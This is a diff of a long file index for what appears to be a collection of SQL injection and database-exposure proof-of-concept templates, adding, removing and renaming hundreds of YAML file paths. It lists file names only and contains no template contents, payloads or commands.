+./poc/sql/chamilo-lms-sqli-891.yaml +./poc/sql/chamilo-lms-sqli.yaml ./poc/sql/change-default-login-logo-url-and-title-fef61a56dbdca375b6c1f6da9b2473d7.yaml ./poc/sql/change-login-logo-4238ce6d433fb89e975842e8fdb72cad.yaml ./poc/sql/change-prices-with-time-for-woocommerce-6477bf18cad6c823db485408d49b337b.yaml @@ -90081,7 +90588,6 @@ ./poc/sql/couchdb-admin-party.yaml ./poc/sql/couchdb-adminparty-1235.yaml ./poc/sql/couchdb-adminparty-1236.yaml -./poc/sql/couchdb-adminparty-1237.yaml ./poc/sql/couchdb-adminparty.yaml ./poc/sql/couchdb-cve-2017-12635.yml ./poc/sql/couchdb-detect.yaml @@ -90202,6 +90708,7 @@ ./poc/sql/database-error-6769.yaml ./poc/sql/database-error-6770.yaml ./poc/sql/database-error-6771.yaml +./poc/sql/database-error.yaml ./poc/sql/database-for-cf7-264a0bb0b01fffd382784898cddfc423.yaml ./poc/sql/database-for-cf7.yaml ./poc/sql/database-peek-792b5bc7e10e3ee0787e715784933795.yaml @@ -90218,14 +90725,12 @@ ./poc/sql/date-time-picker-field-f9e5579db8346e24e94a94b4128866ec.yaml ./poc/sql/db-backup-4ce5dcbee48b05bd3f2e0709e37bed82.yaml ./poc/sql/db-backup-lfi-6774.yaml -./poc/sql/db-backup-lfi-6775.yaml ./poc/sql/db-backup-lfi-6776.yaml ./poc/sql/db-backup-lfi.yaml ./poc/sql/db-backup.yaml ./poc/sql/db-schema-1.yaml ./poc/sql/db-schema-2.yaml ./poc/sql/db-schema-3.yaml -./poc/sql/db-schema-6783.yaml ./poc/sql/db-schema-6784.yaml ./poc/sql/db-schema-6785.yaml ./poc/sql/dbapp-jumpserver-service-useradd.yaml @@ -90251,7 +90756,6 @@ ./poc/sql/dedecms-guestbook-sqli.yml ./poc/sql/dedecms-membergroup-sqli-6796.yaml ./poc/sql/dedecms-membergroup-sqli-6797.yaml -./poc/sql/dedecms-membergroup-sqli-6798.yaml ./poc/sql/dedecms-membergroup-sqli-6799.yaml ./poc/sql/dedecms-membergroup-sqli.yml ./poc/sql/defender-security-2020b15b8eb9ba5370b2afa3c6dbea78.yaml @@ -90276,6 +90780,7 @@ ./poc/sql/dh-anti-adblocker.yaml ./poc/sql/dhtmlxspreadsheet-b5254cb0dceae9b052dd1e78db98bf8a.yaml ./poc/sql/dionaea-mongodb-honeypot-detection.yaml +./poc/sql/dionaea-mysql-honeypot-detect.yaml ./poc/sql/directorist-727627fb4db7b8169ad4a978c59d0501.yaml ./poc/sql/disable-comments-wpz-380586f46c399d5dba7f8103a0b3949c.yaml ./poc/sql/discuz-sqli-my.yaml @@ -90345,11 +90850,9 @@ ./poc/sql/dt-chocolate-e413241db5fe0999f0d07693f38484de.yaml ./poc/sql/dt-the7-25c26816f9e2edbda826ac056e4f2bce.yaml ./poc/sql/dukapress-42d1930756a0a540db942aacdf5f0b12.yaml -./poc/sql/duomicms-sql-injection-7122.yaml ./poc/sql/duomicms-sql-injection-7123.yaml ./poc/sql/duomicms-sql-injection-7124.yaml ./poc/sql/duomicms-sql-injection-7125.yaml -./poc/sql/duomicms-sql-injection.yaml ./poc/sql/duomicms-sqli.yaml ./poc/sql/duomicms-sqli.yml ./poc/sql/duplicate-page-219a16f0f3edb724b96c66d462f64166.yaml @@ -90449,8 +90952,9 @@ ./poc/sql/ecology-oa-filedownloadforoutdoc-sqli.yaml ./poc/sql/ecology-sqli2.yaml ./poc/sql/ecology-syncuserinfo-sqli-7177.yaml +./poc/sql/ecology-syncuserinfo-sqli.yaml ./poc/sql/ecology-syncuserinfo-sqli.yml -./poc/sql/ecology-v8-sqli.yaml +./poc/sql/ecology-v8-sqli-7179.yaml ./poc/sql/ecology-v8-sqli.yml ./poc/sql/ecology-v9-sqli.yaml ./poc/sql/ecology-validate-sqli.yml @@ -90481,8 +90985,8 @@ ./poc/sql/elasta-9437ebb08533440a4a517ccdbbdd6db9.yaml ./poc/sql/elasticsearch-sql-client-detect-7189.yaml ./poc/sql/elasticsearch-sql-client-detect-7190.yaml -./poc/sql/elasticsearch-sql-client-detect-7191.yaml ./poc/sql/elasticsearch-sql-client-detect-7192.yaml +./poc/sql/elasticsearch-sql-client-detect.yaml ./poc/sql/elation-6477bf18cad6c823db485408d49b337b.yaml ./poc/sql/electric-studio-client-login-f80c5406ebadb06c127dd29569b85330.yaml ./poc/sql/elegance-e6998b25801bfa9dbabfae7a038d5dab.yaml @@ -90539,8 +91043,10 @@ ./poc/sql/error-based-sql-injection-7250.yaml ./poc/sql/error-based-sql-injection.yaml ./poc/sql/error-log-monitor-6477bf18cad6c823db485408d49b337b.yaml +./poc/sql/esafenet-mysql-fileread.yaml ./poc/sql/eshop-magic-3a46dbf561c8f41200269fa9f209e93b.yaml ./poc/sql/essence-db73028a77d38b068a940d57019fb507.yaml +./poc/sql/essential-addons-elementor-91bbd8fd90235566c3af5b0e4d8dbe1b.yaml ./poc/sql/essential-addons-for-elementor-lite-4266d43aac31fbaed86f66db6cdaec9d.yaml ./poc/sql/essential-addons-for-elementor-lite-4630e1c7e671b8652c860f937a406fdb.yaml ./poc/sql/essential-addons-for-elementor-lite-d743b083bbcafcc3efc6b374f6c8db49.yaml @@ -90556,6 +91062,7 @@ ./poc/sql/etouch-v2-sqli-7266.yaml ./poc/sql/etouch-v2-sqli-7267.yaml ./poc/sql/etouch-v2-sqli-7268.yaml +./poc/sql/etouch-v2-sqli.yaml ./poc/sql/etouch-v2-sqli.yml ./poc/sql/etsy-shop-39c40700fae07d31c1177ca5a04fbddb.yaml ./poc/sql/euclid-94f5de6d90a642c9d8b9cf7e442771db.yaml @@ -90593,13 +91100,16 @@ ./poc/sql/export-to-text-862d66478661085dbcc88bd65de30940.yaml ./poc/sql/exposed-adb-7280.yaml ./poc/sql/exposed-adb-7281.yaml +./poc/sql/exposed-adb-7282.yaml +./poc/sql/exposed-adb.yaml ./poc/sql/exposed-mysql-initial-7321.yaml +./poc/sql/exposed-mysql-initial-7322.yaml ./poc/sql/exposed-mysql-initial-7323.yaml ./poc/sql/exposed-mysql-initial-7324.yaml -./poc/sql/exposed-mysql-initial.yaml ./poc/sql/exposed-sqlite-manager-1.yaml ./poc/sql/exposed-sqlite-manager-2.yaml ./poc/sql/exposed-sqlite-manager-7349.yaml +./poc/sql/exposed-sqlite-manager-7350.yaml ./poc/sql/exposed-sqlite-manager.yaml ./poc/sql/extend-filter-products-by-price-widget-6477bf18cad6c823db485408d49b337b.yaml ./poc/sql/external-media-82c751eabb56ab61f925db8610d13723.yaml @@ -90670,13 +91180,13 @@ ./poc/sql/felici-8b7315bf3bc5aee1fd2be3bdb32c5f24.yaml ./poc/sql/felici-e83986bdda01c6cbf916db6f349af367.yaml ./poc/sql/file-manager-38267cacb7d16b0f0dbad9cdccc3b164.yaml +./poc/sql/fileorganizer-d129dcd91671ee29c3cf5545f48db813.yaml ./poc/sql/filr-protection-6477bf18cad6c823db485408d49b337b.yaml ./poc/sql/final-tiles-grid-gallery-lite-6477bf18cad6c823db485408d49b337b.yaml ./poc/sql/finale-woocommerce-sales-countdown-timer-discount-941d036de0afdb12024b04a0a5102419.yaml ./poc/sql/findeo-47ab625c6c1c76a59735d4a765db7e49.yaml ./poc/sql/findgo-525de6dbf7a133cd628bb958a4f7cff5.yaml ./poc/sql/finecms-sqli-7475.yaml -./poc/sql/finecms-sqli.yaml ./poc/sql/finecms-sqli.yml ./poc/sql/firebase-database-7490.yaml ./poc/sql/firebase-database-7491.yaml @@ -90861,6 +91371,7 @@ ./poc/sql/glorious-services-support-6477bf18cad6c823db485408d49b337b.yaml ./poc/sql/glorious-sites-installer-6477bf18cad6c823db485408d49b337b.yaml ./poc/sql/glossary-by-codeat-6477bf18cad6c823db485408d49b337b.yaml +./poc/sql/glpi-9.3.3-sql-injection.yaml ./poc/sql/gm-woo-product-list-widget-c7d55594227f574d6f5e336946adb772.yaml ./poc/sql/go-fetch-jobs-wp-job-manager-6477bf18cad6c823db485408d49b337b.yaml ./poc/sql/go-viral-6477bf18cad6c823db485408d49b337b.yaml @@ -90886,8 +91397,8 @@ ./poc/sql/gracemedia-media-player-64ea0eeccf3559dee1e80fcbdba4b03b.yaml ./poc/sql/grails-database-admin-console-1.yaml ./poc/sql/grails-database-admin-console-2.yaml +./poc/sql/grails-database-admin-console-7819.yaml ./poc/sql/grails-database-admin-console-7820.yaml -./poc/sql/grails-database-admin-console-7821.yaml ./poc/sql/grails-database-admin-console-7822.yaml ./poc/sql/grails-database-admin-console.yaml ./poc/sql/grand-media-726e7ed9b1339db57e24cd9d4d4fb0ff.yaml @@ -90942,7 +91453,6 @@ ./poc/sql/header-footer-elementor-232faaa29b050dd09edb1a0a86fedae0.yaml ./poc/sql/header-footer-elementor-8b387eb81dbcfb7d587a7c894f682c0b.yaml ./poc/sql/header-footer-elementor-d22a77357dbf623713aa43f6cc19bcd1.yaml -./poc/sql/header_sqli.yaml ./poc/sql/headline-analyzer-96310576ebee234dd51bdb139b9b082f.yaml ./poc/sql/health-check-029bc10524096c5d6b42c53501db3fa1.yaml ./poc/sql/health-check-b29be1ba0cf03db0f942825095a88aea.yaml @@ -90956,6 +91466,7 @@ ./poc/sql/himer-db04901743b106eda5471daf79178a81.yaml ./poc/sql/history-log-by-click5-11b6db790525c2992aa3934ee6e26310.yaml ./poc/sql/hjsoft-eHR-showmediainfo-sqli.yaml +./poc/sql/hjsoft-eHR-system-sqli.yaml ./poc/sql/hjsoft-ehr-showmedia-sqli.yaml ./poc/sql/hjsoft-hcm-fieldsettree-sqli.yaml ./poc/sql/hjsoft-hcm-pos-dept-post-sqli.yaml @@ -90980,10 +91491,13 @@ ./poc/sql/html5-maps-09431ac7051652adb8e4fb2e66a5b8db.yaml ./poc/sql/html5-mp3-player-with-mp3-folder-feedburner-playlist-8184d8d92561017974e3799804b8964f.yaml ./poc/sql/html5-mp3-player-with-mp3-folder-feedburner-playlist.yaml +./poc/sql/huatian-oa-sqli.yaml ./poc/sql/huatian-oa-workFlowService-sqli.yaml ./poc/sql/hub2word-19da068002cca60260bcb7db1e405192.yaml ./poc/sql/hungred-post-thumbnail-5ebd1ad4d054fdfda9e2993db5af67c2.yaml ./poc/sql/i-recommend-this-5b0d09753ad6d22bdbe3a34940d9f4bf.yaml +./poc/sql/iam-db-auth.yaml +./poc/sql/ibm-d2b-database-server.yaml ./poc/sql/ibm-db2-das.yaml ./poc/sql/ibm-db2.yaml ./poc/sql/ibtana-ecommerce-product-addons-a63757f9cadb38cda66fae51b6a40d85.yaml @@ -91083,9 +91597,9 @@ ./poc/sql/izeechat-a759e03a3140ab5da9f810ffbdb3a4c2.yaml ./poc/sql/jayj-quicktag-366869a40f4817ab10ef24fadbc9f402.yaml ./poc/sql/jcwp-youtube-channel-embed-a759e03a3140ab5da9f810ffbdb3a4c2.yaml -./poc/sql/jdbc-connection-string-8244.yaml ./poc/sql/jdbc-connection-string-8245.yaml ./poc/sql/jdbc-connection-string-8246.yaml +./poc/sql/jdbc-connection-string.yaml ./poc/sql/jds-portfolio-6477bf18cad6c823db485408d49b337b.yaml ./poc/sql/jeecg-boot-queryFieldBySql-sqli.yaml ./poc/sql/jeeng-push-notifications-b9d756b997db8ed19a92f52d10f55566.yaml @@ -91160,6 +91674,7 @@ ./poc/sql/kbslider-d1db2f87ba0712e1c037d7fa87dbf0bd.yaml ./poc/sql/keep-backup-daily-327b6a6a640edb13bfc96ce69665c4fa.yaml ./poc/sql/kento-post-view-counter-a5fedfc9aea2a7db95d52ff7f7b738e8.yaml +./poc/sql/kevinlab-bems-sqli-8457.yaml ./poc/sql/kevinlab-bems-sqli-8458.yaml ./poc/sql/kevinlab-bems-sqli-8459.yaml ./poc/sql/kevinlab-bems-sqli-8460.yaml @@ -91382,14 +91897,18 @@ ./poc/sql/moneymasters-02a4bc9438adbcdaa5664f021e38f12e.yaml ./poc/sql/moneytheme-0560e2fcc6071d361ddbd57a75ed8daf.yaml ./poc/sql/mongodb-detect-8919.yaml +./poc/sql/mongodb-detect-8920.yaml ./poc/sql/mongodb-detect-8921.yaml +./poc/sql/mongodb-detect.yaml +./poc/sql/mongodb-info-enum.yaml ./poc/sql/mongodb-ops-manager-8922.yaml ./poc/sql/mongodb-ops-manager-8923.yaml +./poc/sql/mongodb-ops-manager-8924.yaml ./poc/sql/mongodb-ops-manager.yaml ./poc/sql/mongodb-unauth-8925.yaml -./poc/sql/mongodb-unauth-8926.yaml ./poc/sql/mongodb-unauth-8927.yaml ./poc/sql/mongodb-unauth-8928.yaml +./poc/sql/mongodb-unauth.yaml ./poc/sql/mongodb.yaml ./poc/sql/monsters-editor-10-for-wp-super-edit-973edbc42b401e04f2817347dbb88982.yaml ./poc/sql/montezuma-dce503013f1232677b5db16aa72f0316.yaml @@ -91448,10 +91967,12 @@ ./poc/sql/mycred-6477bf18cad6c823db485408d49b337b.yaml ./poc/sql/mycred-e577923b04d9cbb1dba64e0256a4900d.yaml ./poc/sql/myriad-e7ede6314c209b97480a8f0916dbaa81.yaml +./poc/sql/mysql-default-login.yaml +./poc/sql/mysql-detect.yaml ./poc/sql/mysql-dump-files.yaml +./poc/sql/mysql-info.yaml ./poc/sql/mysql-my-cnf-disclosure.yaml ./poc/sql/mysql-native-cred-bruteforce.yaml -./poc/sql/mysql-native-password-8980.yaml ./poc/sql/mysql-native-password-8981.yaml ./poc/sql/mysql-native-password.yaml ./poc/sql/mysql-sqli.yaml @@ -91525,6 +92046,7 @@ ./poc/sql/nmedia-user-file-uploader-9db532be3b2b977e6fbffa99d140b435.yaml ./poc/sql/nmedia-user-file-uploader-c9713577aebdc35531de45ba0c272db8.yaml ./poc/sql/no-page-comment-ca862be901f8d4e2ecd4cc3e67638dbd.yaml +./poc/sql/nocodb-panel.yaml ./poc/sql/nofollow-all-external-links-1252194ad26b032bf0693dbd1a1c47e7.yaml ./poc/sql/nokke-6477bf18cad6c823db485408d49b337b.yaml ./poc/sql/note-press-865f978211c1ec7412e27b5b8edb2da7.yaml @@ -91535,8 +92057,8 @@ ./poc/sql/oa8000-workflowservice-sql-inject.yaml ./poc/sql/oauth2-provider-68dd0f60b3971f72cda3812803edb33a.yaml ./poc/sql/ocean-extra-6477bf18cad6c823db485408d49b337b.yaml +./poc/sql/odoo-database-manager-9202.yaml ./poc/sql/odoo-database-manager-9203.yaml -./poc/sql/odoo-database-manager-9204.yaml ./poc/sql/odoo-database-manager-9205.yaml ./poc/sql/odoo-database-manager.yaml ./poc/sql/off-canvas-sidebars-6ad11d341ff184481eedb5b9451b7483.yaml @@ -91569,6 +92091,7 @@ ./poc/sql/oracle-dbass-detect-9349.yaml ./poc/sql/oracle-dbass-detect-9350.yaml ./poc/sql/oracle-dbass-detect-9351.yaml +./poc/sql/oracle-dbass-detect.yaml ./poc/sql/oracle-dbcs-9352.yaml ./poc/sql/oracle-dbcs-9353.yaml ./poc/sql/oracle-dbcs-9354.yaml @@ -91576,6 +92099,7 @@ ./poc/sql/oracle-ebs-sqllog-disclosure-9367.yaml ./poc/sql/oracle-ebs-sqllog-disclosure-9369.yaml ./poc/sql/oracle-ebs-sqllog-disclosure-9370.yaml +./poc/sql/oracle-ebs-sqllog-disclosure-9371.yaml ./poc/sql/oracle-ebs-sqllog-disclosure-9372.yaml ./poc/sql/oracle-ebs-sqllog-disclosure.yaml ./poc/sql/oracle-webdb.yaml @@ -91636,7 +92160,6 @@ ./poc/sql/paytium-6bfa7db55abe86e184a7874b8579256d.yaml ./poc/sql/paytium-dbb33df02ad82d104f52342b9d1314f4.yaml ./poc/sql/payu-india-dfb44dbc510f4bea6f74c6a6cb7e4f69.yaml -./poc/sql/pbootcms-database-file-download-9469.yaml ./poc/sql/pbootcms-database-file-download.yaml ./poc/sql/pbootcms-database-file-download.yml ./poc/sql/pdf-block-615a079e3552dbff38dc6dbbb7a3554e.yaml @@ -91662,7 +92185,15 @@ ./poc/sql/personalize-woocommerce-cart-page-2fdb24aa9ae64e31a599b3c204eb919c.yaml ./poc/sql/persuasion-89db9849de9720aea48c4037e8906ae5.yaml ./poc/sql/peters-random-anti-spam-image-fedbb89525f5d8d51c252afae7e6e290.yaml +./poc/sql/pgsql-default-db.yaml ./poc/sql/pgsql-detect.yaml +./poc/sql/pgsql-empty-password.yaml +./poc/sql/pgsql-extensions-rce.yaml +./poc/sql/pgsql-file-read.yaml +./poc/sql/pgsql-list-database.yaml +./poc/sql/pgsql-list-password-hashes.yaml +./poc/sql/pgsql-list-users.yaml +./poc/sql/pgsql-version-detect.yaml ./poc/sql/phone-orders-for-woocommerce-b55bad7a3b9db79f85b3fc1c488f6c5a.yaml ./poc/sql/photo-gallery-130d8bd00117ca3a170c5eba10db1dea.yaml ./poc/sql/photo-gallery-5620f1d8a1db68e7a921a33e9997f4e5.yaml @@ -91700,7 +92231,6 @@ ./poc/sql/pie-register-1e2d1b7026d2269694eb54e49db13853.yaml ./poc/sql/pie-register-51840cf3f730edb817a845513e726762.yaml ./poc/sql/pie-register-edb5da07e3386d078b8f2dfd3f0d66a1.yaml -./poc/sql/pikpikcusqli.yaml ./poc/sql/pinblocks-6477bf18cad6c823db485408d49b337b.yaml ./poc/sql/pinfinity-fcc940cb5d1edc9fa0dbfe45ecb68894.yaml ./poc/sql/piotnet-addons-for-elementor-pro-ff0dbabbd59c76a52ed540a831253c70.yaml @@ -91795,6 +92325,7 @@ ./poc/sql/print-my-blog-6477bf18cad6c823db485408d49b337b.yaml ./poc/sql/print-my-blog-95af4f73d7693277f997be72bdb24660.yaml ./poc/sql/privId_SQL.yaml +./poc/sql/privesc-sqlite3.yaml ./poc/sql/pro-links-maintainer-dev-6477bf18cad6c823db485408d49b337b.yaml ./poc/sql/product-catalog-feed-882db1cd8e171525e8105fde454cb081.yaml ./poc/sql/product-image-watermark-for-woo-6477bf18cad6c823db485408d49b337b.yaml @@ -91821,7 +92352,7 @@ ./poc/sql/protected-posts-logout-button-405520b012acd476f3e2a530db3a3e0f.yaml ./poc/sql/protected-posts-logout-button-cfa021969edb2cc77a22385f05d3d58a.yaml ./poc/sql/protected-posts-logout-button-f1f050c9551d531054bfb61b8db76214.yaml -./poc/sql/puppetdb-detect-9717.yaml +./poc/sql/psql-user-enum.yaml ./poc/sql/puppetdb-detect-9718.yaml ./poc/sql/puppetdb-detect-9719.yaml ./poc/sql/purosa-6477bf18cad6c823db485408d49b337b.yaml @@ -91829,7 +92360,7 @@ ./poc/sql/purus-6477bf18cad6c823db485408d49b337b.yaml ./poc/sql/push-notification-for-post-and-buddypress-87654db6955354f5bcd20cc2f2f16ee6.yaml ./poc/sql/push-notification-for-wp-by-pushassist-a580f69484329c1256ea5b0e7db07107.yaml -./poc/sql/python-app-sql-exceptions.yaml +./poc/sql/python-app-sql-exceptions-9744.yaml ./poc/sql/q-and-a-cc8c9007fdb35c296b605f6ee57b128b.yaml ./poc/sql/qaengine-4ce5db8cdf77b4cf41d832a359d6b011.yaml ./poc/sql/qards-a5b42edbed684a8355294b4718afe158.yaml @@ -91875,7 +92406,6 @@ ./poc/sql/rails-database-config-9801.yaml ./poc/sql/rails-database-config-9803.yaml ./poc/sql/rails-database-config-9804.yaml -./poc/sql/rails-database-config.yaml ./poc/sql/raindrops-dbfc5df17890ba20d8e1b8aa01de85b4.yaml ./poc/sql/raise-mag-b0fb66dffa30e27280738d457423db31.yaml ./poc/sql/random-image-gallery-with-pretty-photo-zoom-a759e03a3140ab5da9f810ffbdb3a4c2.yaml @@ -92101,7 +92631,6 @@ ./poc/sql/sequoiadb-.yaml ./poc/sql/sequoiadb-default-login-10150.yaml ./poc/sql/sequoiadb-default-login-10152.yaml -./poc/sql/sequoiadb-default-login.yaml ./poc/sql/sequoiadb-login.yaml ./poc/sql/seraphinite-accelerator-b57c1ea2fac5687dbdaf7cc2388b8807.yaml ./poc/sql/serial-codes-generator-and-validator-864d2c788f4e15b5840dcd249fcf31db.yaml @@ -92150,6 +92679,7 @@ ./poc/sql/simple-301-redirects-d6d0adb3770a1495c3ec045cb58ac335.yaml ./poc/sql/simple-ads-manager-adfff5187a2fb2d889e414db729a76c3.yaml ./poc/sql/simple-ads-manager-b8ffa4c184c5eca4cdb72e698d259777.yaml +./poc/sql/simple-ajax-chat-0a7e4415bfddb98c365d97e5f2440d1c.yaml ./poc/sql/simple-ajax-chat-1391f9f1c35a66c8ddb3696f87cfb803.yaml ./poc/sql/simple-author-box-814efefc43e4e92fdb7c71813eb4ed7c.yaml ./poc/sql/simple-author-box-cdae4600b503362a3c872bdb767a36c7.yaml @@ -92158,6 +92688,7 @@ ./poc/sql/simple-crm-sql-injection-10276.yaml ./poc/sql/simple-crm-sql-injection-10277.yaml ./poc/sql/simple-crm-sql-injection-10278.yaml +./poc/sql/simple-crm-sql-injection.yaml ./poc/sql/simple-download-monitor-2330ad95b0dbdb338f22f0d6190d1115.yaml ./poc/sql/simple-download-monitor-acf76b3af35ee093a6fa7ddb52d25cf2.yaml ./poc/sql/simple-event-planner-7ceec850355db17a8c0cb10289c120cb.yaml @@ -92209,6 +92740,7 @@ ./poc/sql/sis-handball.yaml ./poc/sql/site-map-sql-injection.yaml ./poc/sql/site-reviews-152cb1e25ae8a5b3dcea4db96e0066fa.yaml +./poc/sql/site-reviews-ae788988dbe1b0277cdaf8b92699ca4f.yaml ./poc/sql/sitemap-index-cfa41474351932f32e2db601c15270c8.yaml ./poc/sql/sitemap-sql-detector.yaml ./poc/sql/sitemap-sqli.yaml @@ -92291,15 +92823,14 @@ ./poc/sql/spnbabble-c3bb72f97b80dbb6cad269092d76789a.yaml ./poc/sql/spotlight-social-photo-feeds-31332334a57dbabbdbe1cfdea5489469.yaml ./poc/sql/spotlight-social-photo-feeds-6477bf18cad6c823db485408d49b337b.yaml +./poc/sql/springboot-h2-db-rce-10454.yaml ./poc/sql/springboot-h2-db-rce-10455.yaml ./poc/sql/springboot-h2-db-rce-10456.yaml ./poc/sql/springboot-h2-db-rce-10457.yaml -./poc/sql/springboot-h2-db-rce-10458.yaml ./poc/sql/sprout-clients-503c868f614fe8f9ba65b257aadb9679.yaml ./poc/sql/sql-buddy.yaml ./poc/sql/sql-dump-1.yaml ./poc/sql/sql-dump-10.yaml -./poc/sql/sql-dump-10496.yaml ./poc/sql/sql-dump-10497.yaml ./poc/sql/sql-dump-10498.yaml ./poc/sql/sql-dump-10499.yaml @@ -92330,7 +92861,6 @@ ./poc/sql/sql-server-report-viewer.yaml ./poc/sql/sql-server-reporting-10507.yaml ./poc/sql/sql-server-reporting-10508.yaml -./poc/sql/sql-server-reporting-10509.yaml ./poc/sql/sql-server-reporting-10510.yaml ./poc/sql/sql-server-reporting.yaml ./poc/sql/sql-shortcode-003f309c7f400c3e24a0ee3414677f42.yaml @@ -92348,9 +92878,12 @@ ./poc/sql/sqli-symfony.yaml ./poc/sql/sqli-vuln-params-deep.yaml ./poc/sql/sqli-vuln-params.yaml +./poc/sql/sqli.yaml ./poc/sql/sqli2.yaml ./poc/sql/sqli_b_sleep.yaml ./poc/sql/sqli_error.yaml +./poc/sql/sqli_header (copy 1).yaml +./poc/sql/sqli_header-10504.yaml ./poc/sql/sqli_header.yaml ./poc/sql/sqliheader.yaml ./poc/sql/squaretype-091113ce7c8db36e32f582519aa46cca.yaml @@ -92436,6 +92969,7 @@ ./poc/sql/survey-maker-303a2347dc54131b7611638dd930dba9.yaml ./poc/sql/surveyfunnel-lite-6477bf18cad6c823db485408d49b337b.yaml ./poc/sql/surveys-6e9e122eb2e0c40dbc732f93cb774f75.yaml +./poc/sql/suspicious-sql-error-messages-10585.yaml ./poc/sql/suspicious-sql-error-messages-10586.yaml ./poc/sql/sv-provenexpert-6477bf18cad6c823db485408d49b337b.yaml ./poc/sql/sv-tracking-manager-6477bf18cad6c823db485408d49b337b.yaml @@ -92513,9 +93047,9 @@ ./poc/sql/ticket-manager-a759e03a3140ab5da9f810ffbdb3a4c2.yaml ./poc/sql/ticket-tailor-cd8902dc00bdb1b49cb56acbeb9ca9e4.yaml ./poc/sql/tidb-native-password.yaml -./poc/sql/tidb-unauth-10770.yaml ./poc/sql/tidb-unauth-10771.yaml ./poc/sql/tidb-unauth-10772.yaml +./poc/sql/tidb-unauth.yaml ./poc/sql/tidio-live-chat-5841edbae5f362f60a79d9cb73e8dd52.yaml ./poc/sql/tier-pricing-table-6477bf18cad6c823db485408d49b337b.yaml ./poc/sql/time-based-sql-injection.yaml @@ -92592,7 +93126,6 @@ ./poc/sql/ucmdb-default-login-10868.yaml ./poc/sql/ucmdb-default-login-10870.yaml ./poc/sql/ucmdb-default-login-10871.yaml -./poc/sql/ucmdb-default-login.yaml ./poc/sql/ucontext-8226db0cec7c7280f1367e900997219e.yaml ./poc/sql/ulisting-5dbc01f7b0f6c2a386a3664610ac3e23.yaml ./poc/sql/ulisting-7866bac5db8939bd8423ae7ad6c6a87c.yaml @@ -92637,6 +93170,7 @@ ./poc/sql/ultra-elementor-addons-6477bf18cad6c823db485408d49b337b.yaml ./poc/sql/ultra-seven-d155d6ddfe8bbad0ff5fa76ddb2b1f37.yaml ./poc/sql/unakit-6477bf18cad6c823db485408d49b337b.yaml +./poc/sql/unauth-psql.yaml ./poc/sql/unauthenticated-influxdb.yaml ./poc/sql/uncanny-automator-5390a51d3ea1667fc8bdb736afeae941.yaml ./poc/sql/uncode-lite-d155d6ddfe8bbad0ff5fa76ddb2b1f37.yaml @@ -93042,7 +93576,6 @@ ./poc/sql/wordpress-db-backup-listing-11250.yaml ./poc/sql/wordpress-db-backup-listing.yaml ./poc/sql/wordpress-db-backup.yaml -./poc/sql/wordpress-db-repair-11252.yaml ./poc/sql/wordpress-db-repair-11253.yaml ./poc/sql/wordpress-db-repair-11254.yaml ./poc/sql/wordpress-db-repair-11255.yaml @@ -93065,12 +93598,12 @@ ./poc/sql/wordpress-social-login-fdde8f99a63be59c05d67adb318b5ef2.yaml ./poc/sql/wordpress-tmm-db-migrate-11317.yaml ./poc/sql/wordpress-tmm-db-migrate-11318.yaml -./poc/sql/wordpress-tmm-db-migrate-11319.yaml +./poc/sql/wordpress-tmm-db-migrate-11320.yaml ./poc/sql/wordpress-tmm-db-migrate-11321.yaml +./poc/sql/wordpress-tmm-db-migrate.yaml ./poc/sql/wordpress-whois-search-1f912223cd5db03abd6e32e02ba54028.yaml ./poc/sql/wordpress-woocommerce-sqli-1.yaml ./poc/sql/wordpress-woocommerce-sqli-11342.yaml -./poc/sql/wordpress-woocommerce-sqli-11343.yaml ./poc/sql/wordpress-woocommerce-sqli-11344.yaml ./poc/sql/wordpress-woocommerce-sqli-11345.yaml ./poc/sql/wordpress-woocommerce-sqli-2.yaml @@ -93537,10 +94070,10 @@ ./poc/sql/ws-bootstrap-vc-6477bf18cad6c823db485408d49b337b.yaml ./poc/sql/ws-form-9d0ef762c4db1d0bcffaeecbf6f5c7bb.yaml ./poc/sql/wupo-group-attributes-6477bf18cad6c823db485408d49b337b.yaml -./poc/sql/wuzhicms-sqli-11656.yaml ./poc/sql/wuzhicms-sqli-11657.yaml ./poc/sql/wuzhicms-sqli-11658.yaml ./poc/sql/wuzhicms-sqli-11659.yaml +./poc/sql/wuzhicms-sqli.yaml ./poc/sql/wuzhicms-v410-sqli.yaml ./poc/sql/wuzhicms-v410-sqli.yml ./poc/sql/wysija-newsletters-cf1805e5f67acdb9fd1eace8a56b6c8a.yaml @@ -93619,7 +94152,6 @@ ./poc/sql/yonyou-nc-workflowImageServlet-sqli.yaml ./poc/sql/yonyou-u8-cloud-ExportUfoFormatAction-sqli.yaml ./poc/sql/yonyou-u8-oa-sqli-11748.yaml -./poc/sql/yonyou-u8-oa-sqli.yaml ./poc/sql/yonyou-u8-registerservlet-sqli.yaml ./poc/sql/yonyou-ufida-nc-linkvoucher-sqli.yaml ./poc/sql/yonyou-ufida-nc-pagesservlet-sqli.yaml @@ -93647,6 +94179,7 @@ ./poc/sql/zcms-v3-sqli-11773.yaml ./poc/sql/zcms-v3-sqli-11774.yaml ./poc/sql/zcms-v3-sqli-11775.yaml +./poc/sql/zcms-v3-sqli.yaml ./poc/sql/zcms-v3-sqli.yml ./poc/sql/zedity-c7045c7b1b37741c1ecddb1c916e5d0d.yaml ./poc/sql/zelist-directory-cdb095d442838a408738c8c91f13a60a.yaml @@ -93681,7 +94214,7 @@ ./poc/sql_injection/74cms-sqli-2.yaml ./poc/sql_injection/74cms-sqli-2.yml ./poc/sql_injection/74cms-sqli-8.yaml -./poc/sql_injection/74cms-sqli-9.yaml +./poc/sql_injection/74cms-sqli.yaml ./poc/sql_injection/74cms-sqli.yml ./poc/sql_injection/74cms_V3-plusa-sqli.yaml ./poc/sql_injection/74cms_v4-register-sqli.yaml @@ -93875,6 +94408,7 @@ ./poc/sql_injection/PHPOK-SQLi.yaml ./poc/sql_injection/PHPSHE-SQLi.yaml ./poc/sql_injection/Qibocms-SQLi.yaml +./poc/sql_injection/SQLInjection_ERROR.yaml ./poc/sql_injection/SQL_injection-Authentification.yaml ./poc/sql_injection/SQL_injection-Error.yaml ./poc/sql_injection/SQL_injection-Numeric.yaml @@ -93935,7 +94469,8 @@ ./poc/sql_injection/btoptionscom-newspack-sqli.yaml ./poc/sql_injection/chamilo-lms-sqli-1.yaml ./poc/sql_injection/chamilo-lms-sqli-2.yaml -./poc/sql_injection/chamilo-lms-sqli-892.yaml +./poc/sql_injection/chamilo-lms-sqli-891.yaml +./poc/sql_injection/chamilo-lms-sqli.yaml ./poc/sql_injection/changjet-tplus-keyinfolist-sqli.yaml ./poc/sql_injection/chanjet-CRM-sqli.yaml ./poc/sql_injection/chanjetcrm-sqli.yaml @@ -93949,7 +94484,6 @@ ./poc/sql_injection/dedecms-guestbook-sqli.yml 